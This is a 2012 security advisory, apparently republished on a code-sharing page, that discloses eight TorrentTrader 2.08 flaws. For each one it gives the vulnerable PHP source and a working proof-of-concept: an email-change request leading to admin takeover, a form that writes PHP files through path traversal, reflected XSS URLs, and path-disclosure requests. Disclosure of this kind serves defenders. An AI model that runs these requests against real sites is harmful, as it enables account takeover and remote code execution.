扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
[waraxe-2012-SA#089] - Multiple Vulnerabilities in TorrentTrader 2.08 =============================================================================== Author: Janek Vind "waraxe" Date: 17. September 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-89.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ TorrentTrader is a feature packed and highly customisable PHP/MySQL Based BitTorrent tracker. Featuring integrated forums, and plenty of administration options. http://sourceforge.net/projects/torrenttrader/ http://www.torrenttrader.org/topic/14292-torrenttrader-v208-released/ ############################################################################### 1. Unauthorized Email Change in "account-ce.php" ############################################################################### Reason: authorization bypass Attack vector: user submitted GET parameters "id", "secret" and "email" Preconditions: none Result: attacker can change any user's email, including admin's -----------------[ source code start ]--------------------------------- $id = (int) $_GET["id"]; $md5 = $_GET["secret"]; $email = $_GET["email"]; .. $res = SQL_Query_exec("SELECT <code>editsecret</code> FROM <code>users WHERE <code>enabled</code> = 'yes' AND <code>status</code> = 'confirmed' AND <code>id</code> = '$id'"); $row = mysql_fetch_assoc($res); .. $sec = $row["editsecret"]; if ($md5 != md5($sec . $email . $sec)) show_error_msg(T_("ERROR"), T_("NOTHING_FOUND"), 1); SQL_Query_exec("UPDATE <code>users</code> SET <code>editsecret</code> = '', <code>email</code> = ".sqlesc($email)." WHERE <code>id</code> = '$id' AND <code>editsecret</code> = " . sqlesc($row["editsecret"])); -----------------[ source code end ]----------------------------------- Tests: Let's find md5 hash of email "test@test.com", which is "b642b4217b34b1e8d3bd915fc65c4452". Target user ID is 1. We issue GET request: http://localhost/torrenttrader208/account-ce.php?id=1& secret=b642b4217b34b1e8d3bd915fc65c4452&email=test@test.com Quick look to the database confirms, that email address of user with ID 1 has been changed indeed. Next logical move for attacker is password recovery request: http://localhost/torrenttrader208/account-recover.php After admin account takeover attacker is able to use next vulnerability, described below, which may allow php remote code execution. ############################################################################### 2. Arbitrary file creation / directory traversal in "nfo-edit.php" ############################################################################### Reason: failure to properly sanitize user submitted data Attack vector: user submitted POST parameters "id" and "content" Preconditions: 1. nfo-file editing privileges needed (usually admin) 2. PHP must be < 5.3.4 for null-byte attacks to work Result: 1. attacker is able to write remote files with arbitrary content 2. directory traversal vulnerability allows bypassing path restrictions -----------------[ source code start ]--------------------------------- $id = (int)$_GET["id"]?$_GET["id"]:$_POST["id"]; $do = $_POST["do"]; $nfo = $site_config["nfo_dir"] . "/$id.nfo"; if ($do == "update") { if (file_put_contents($nfo, $_POST["content"])) { write_log("NFO ($id) was updated by $CURUSER[username]."); -----------------[ source code end ]----------------------------------- Test: first we need html form like the one below: <html><body><center> <form action="http://localhost/torrenttrader208/nfo-edit.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="do" value="update"> <input type="hidden" name="id" value="test.php"> <input type="hidden" name="content" value="<?php phpinfo();?>"> <input type="submit" value="Test"> </form></center></body></html> Log in as admin and then make POST request by cliking "Test" button. We should see "NFO Updated" as response and can confirm new file existence: http://localhost/torrenttrader208/uploads/test.php.nfo By using null byte ("\0") it's possible writing files with arbitrary extension. Finally, it is possible to make use of directory traversal strings "../" and write files to arbitrary location in remote server. ############################################################################### 3. Username Enumeration Vulnerability in "account-login.php" ############################################################################### Reason: different error messages for invalid username and invalid password Attack vector: user submitted POST parameters "username" and "password" Preconditions: none Result: attacker can enumerate valid usernames -----------------[ source code start ]--------------------------------- if (!empty($_POST["username"]) && !empty($_POST["password"])) { $res = SQL_Query_exec("SELECT id, password, secret, status, enabled FROM users WHERE username = " . sqlesc($_POST["username"]) . ""); $row = mysql_fetch_array($res); if (!$row) $message = T_("USERNAME_INCORRECT"); elseif ($row["status"] == "pending") $message = T_("ACCOUNT_PENDING"); elseif ($row["password"] != $password) $message = T_("PASSWORD_INCORRECT"); -----------------[ source code end ]----------------------------------- Tests: Try to log in with nonexistent username: "Username Incorrect" Next, try valid username with incorrect password: "Password Incorrect" So it's obvious, that attacker is able to distinguish between valid and invalid usernames and therefore username enumeration vulnerability exists. ############################################################################### 4. Reflected XSS in "faq.php" ############################################################################### Preconditions: "register_globals=on" Attack Vector: User provided parameter "faq_categ" http://localhost/torrenttrader208/faq.php?faq_categ[0][title]= <script>alert(String.fromCharCode(88,83,83))</script>&faq_categ[0][flag]=1 &faq_categ[0][items][0][question]=aa&faq_categ[0][items][0][answer]=bb &faq_categ[0][items][0][flag]=1 http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1 &faq_categ[0][items][0][question]=<script>alert(String.fromCharCode(88,83,83))</script> &faq_categ[0][items][0][answer]=bb&faq_categ[0][items][0][flag]=1 http://localhost/torrenttrader208/faq.php?faq_categ[0][title]=test&faq_categ[0][flag]=1 &faq_categ[0][items][0][question]=test&faq_categ[0][items][0][answer]= <script>alert(String.fromCharCode(88,83,83))</script>&faq_categ[0][items][0][flag]=1 ############################################################################### 5. Reflected XSS in "account-signup.php" ############################################################################### Preconditions: "register_globals=on" Attack Vector: User provided parameters "invite" and "secret" http://localhost/torrenttrader208/account-signup.php?invite_row=1 &invite="><script>alert(String.fromCharCode(88,83,83))</script> http://localhost/torrenttrader208/account-signup.php?invite_row=1 &secret="><script>alert(String.fromCharCode(88,83,83))</script> ############################################################################### 6. Reflected XSS in "/themes/default/header.php" ############################################################################### Preconditions: "register_globals=on" Attack Vector: User provided parameters "title" and "site_config" http://localhost/torrenttrader208/themes/default/header.php? title=</title><script>alert(String.fromCharCode(88,83,83))</script> http://localhost/torrenttrader208/themes/default/header.php? site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script> http://localhost/torrenttrader208/themes/default/header.php? site_config[SITEURL]=--><script>alert(String.fromCharCode(88,83,83))</script> ############################################################################### 7. Reflected XSS in "/themes/NB-Clean/header.php" ############################################################################### Preconditions: "register_globals=on" Attack Vector: User provided parameters "title" and "site_config" http://localhost/torrenttrader208/themes/NB-Clean/header.php? title=</title><script>alert(String.fromCharCode(88,83,83))</script> http://localhost/torrenttrader208/themes/NB-Clean/header.php? site_config[CHARSET]="><script>alert(String.fromCharCode(88,83,83))</script> http://localhost/torrenttrader208/themes/NB-Clean/header.php? site_config[SITEURL]="><script>alert(String.fromCharCode(88,83,83))</script> ############################################################################### 8. Path Disclosure vulnerability in multiple scripts ############################################################################### http://localhost/torrenttrader208/account-login.php?returnto[] Warning: htmlspecialchars() expects parameter 1 to be string, array given in C:/apache_www/torrenttrader208/account-login.php on line 72 http://localhost/torrenttrader208/themes/default/footer.php Fatal error: Call to undefined function T_() in C:/apache_www/torrenttrader208/themes/default/footer.php on line 26 http://localhost/torrenttrader208/themes/default/header.php Fatal error: Call to undefined function T_() in C:/apache_www/torrenttrader208/themes/default/header.php on line 28 http://localhost/torrenttrader208/themes/NB-Clean/footer.php Fatal error: Call to undefined function T_() in C:/apache_www/torrenttrader208/themes/NB-Clean/footer.php on line 22 http://localhost/torrenttrader208/faq.php?faq_categ=1 Fatal error: Cannot use string offset as an array in C:/apache_www/torrenttrader208/faq.php on line 17 http://localhost/torrenttrader208/rss.php?cat[] Warning: explode() expects parameter 2 to be string, array given in C:\apache_www\torrenttrader208\rss.php on line 119 http://localhost/torrenttrader208/backend/smilies.php?action=display&form[] Warning: htmlspecialchars() expects parameter 1 to be string, array given in C:\apache_www\torrenttrader208\backend\smilies.php on line 50 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |
体验盒子
